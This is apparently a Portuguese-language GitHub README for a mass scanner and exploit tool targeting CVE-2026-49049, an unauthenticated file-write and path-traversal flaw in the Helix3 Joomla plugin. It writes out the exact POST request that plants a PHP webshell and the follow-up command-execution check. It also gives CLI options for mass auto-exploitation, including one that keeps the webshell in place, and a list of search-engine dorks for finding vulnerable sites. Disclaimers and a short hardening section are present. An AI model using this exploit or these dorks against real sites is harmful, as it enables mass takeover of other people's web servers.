
CVE-2026-49049 Helix3 (JoomShaper) Joomla Scanner RCE AJAX Não Autenticado
Scanner/verificador em massa para CVE-2026-49049: manipulador AJAX não autenticado no plugin Helix3 Framework para Joomla (v1.0 – 3.1.0, corrigido na 3.1.1+).
Teste autorizado apenas. Use apenas em sistemas que você possui ou tem permissão por escrito para testar.
O manipulador onAjaxHelix3() em plugins/ajax/helix3/helix3.php é acessível via Joomla com_ajax sem autenticação / token CSRF:
POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded
data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>
| Ação | Impacto |
|---|
Exploração em massa ativa na natureza geralmente deixa um webshell de extensão dupla:
< 3.1.1save com layoutName=../../up.php + conteúdo PHP webshell.json → up.php.json vai parar na raiz webAddHandler multi-extension executa o token .phpGET /up.php.json?cmd=id → uid=33(www-data) = SHELL OKDetectar Helix3
→ POST com_ajax?plugin=helix3 (action=save, traversal)
→ up.php.json escrito
→ GET up.php.json?cmd=id
→ uid=33(www-data)
git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
Requisitos: requests>=2.31.0, colorama>=0.4.6, Python 3.9+.
Edite targets.txt — uma URL / host por linha (# = comentário). O caminho Joomla é mantido:
# exemplo
https://example.com/
https://example.com/joomla/
http://192.168.1.50/
Não solta webshell. Verifica versão + testa save / remove / import:
python3 scan.py -f targets.txt --scan -o results.txt
python3 scan.py -f targets.txt --auto -c "id" -o results.txt
python3 scan.py -t https://target.tld/joomla/ --auto -c "id"
# Manter webshell após verificação (demo autorizado)
python3 scan.py -f targets.txt --auto --keep
# Nome personalizado do webshell + profundidades de traversal
python3 scan.py -f targets.txt --auto \
--webshell-name up.php \
--traversal-depths "../../,../../../"
# Relatório JSON + concorrência
python3 scan.py -f targets.txt --auto -c "whoami" \
--threads 20 --timeout 15 \
-o results.txt --json report.json
# Proxy (Burp / etc)
python3 scan.py -t https://target.tld/ --scan --proxy http://127.0.0.1:8080
Aviso: O modo
--autotenta escrever um webshell via path traversal. Padrão: webshell removido após verificação. Use--keepapenas para demonstração autorizada.
Terminal exibe todos os status (progresso). results.txt contém apenas os vulneráveis:
[v] CVE-2026-49049 SHELL OK https://target.tld Helix3 2.5.6 save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell: https://target.tld/up.php.json?cmd=id
[ ] VULN (no shell) https://target.tld Helix3 3.0.2 save=Y remove=Y import=Y
Outros rótulos (PATCHED, NOT_HELIX3, TIMEOUT, UNKNOWN) aparecem apenas no terminal, não entram em results.txt.
Use os dorks abaixo para encontrar ativos Helix3 / Joomla potencialmente afetados. Varra apenas alvos autorizados.
inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/
http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"
body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"
# Version check
curl -sk 'https://TARGET/templates/shaper_helix3/templateDetails.xml' | grep -i version
# Unauth save probe (authorized only)
curl -sk -X POST \
'https://TARGET/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
Atualize os plugins System – Helix3 Framework e Helix3 – Ajax para 3.1.1 ou superior (recomendado 3.1.2).
A atualização não limpa os payloads já inseridos no banco de dados.
#__template_styles coluna params para custom_js / custom_css injetadostmp / media:
up.php.json, cox.json, *.php.json, webshell outrosSinais comuns de comprometimento: desfiguração "Hacked by AntonKill" / "trenggalek6etar", injeção de custom_js, arquivos JSON desconhecidos.
Apache — não use AddHandler multi-extensão; use:
<FilesMatch "\.php$">
SetHandler application/x-httpd-php
</FilesMatch>
Nginx:
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass unix:/run/php/php-fpm.sock;
}
PHP php.ini:
disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec
Upload / escrita de arquivo: regenere nome de arquivo, recuse extensões multi-ponto, AllowOverride None em diretórios públicos.
python3 scan.py -t https://YOUR-SITE/ --scan
# Expected: PATCHED Helix3 3.1.1+ (ou NOT_HELIX3 se plugin desinstalado)
CVE-2026-49049/
├── scan.py # CLI entry point
├── core/
│ ├── engine.py # ThreadPoolExecutor + results (vuln-only to file)
│ ├── probe.py # Helix3 detect + save/remove/import + RCE drop
│ └── target.py # Parse / normalize targets.txt
├── utils/
│ └── banner.py
├── targets.txt # Input targets
├── results.txt # Generated (VULN / SHELL_OK only)
├── requirements.txt
└── README.md
Contribuições da comunidade são bem-vindas. Mantenedor: ExDev994.
from __future__ import annotations, type hints)python3 -m py_compile scan.py core/*.py utils/*.py e python3 scan.py --helpRelatar bugs / solicitar recursos em Issues. Incluir:
| Contribuidor | Função |
|---|---|
| ExDev994 | Autor / Mantenedor |
Vulnerabilidade originalmente reportada por Phil Taylor (mySites.guru). Este repositório é uma implementação independente de scanner e não é afiliado à JoomShaper ou Open Source Matters.
Esta ferramenta é apenas para fins educacionais e de teste de segurança autorizado.
O acesso não autorizado a sistemas de computador é ilegal e pode violar leis incluindo a UU ITE da Indonésia, o CFAA dos EUA e estatutos equivalentes em outras jurisdições.
O autor (ExDev994) não assume responsabilidade por uso indevido. Ao usar este software, você aceita total responsabilidade por suas ações. O modo --auto solta um webshell temporário — use apenas em alvos autorizados.
| Versões |
|---|
| salvar | Escrita arbitrária de arquivo JSON + path traversal | 1.0 – 3.1.0 |
| remover | Exclusão arbitrária de arquivo (sem restrição de extensão/caminho) | 1.0 – 3.1.0 |
| importar | Sobrescreve parâmetros de template no BD (custom_js sem escape → XSS/desfiguração) | v3.x only |
| Versão do Helix3 | salvar / remover | importar | Status |
|---|
| 1.0 – 2.x | Vulnerável | Não presente | Vulnerável |
| 3.0 – 3.1.0 | Vulnerável | Vulnerável | Vulnerável |
| 3.1.1+ | Corrigido | Corrigido | Seguro |
| Bandeira | Descrição |
|---|
-f / --file | Lista de alvos em arquivo (padrão: targets.txt se -t ausente) |
-t / --target | URL de alvo único |
--scan | Detecção somente leitura |
--auto | Detectar + verificar RCE (padrão) |
-c / --cmd | Comando de verificação (padrão: id) |
-o / --output | Arquivo de resultado — apenas alvos VULN / SHELL_OK |
--json | Relatório JSON estruturado |
--keep | Não remover automaticamente webshell após verificação |
--threads | Trabalhadores concorrentes (padrão: 15) |
--timeout | Tempo limite HTTP em segundos (padrão: 15) |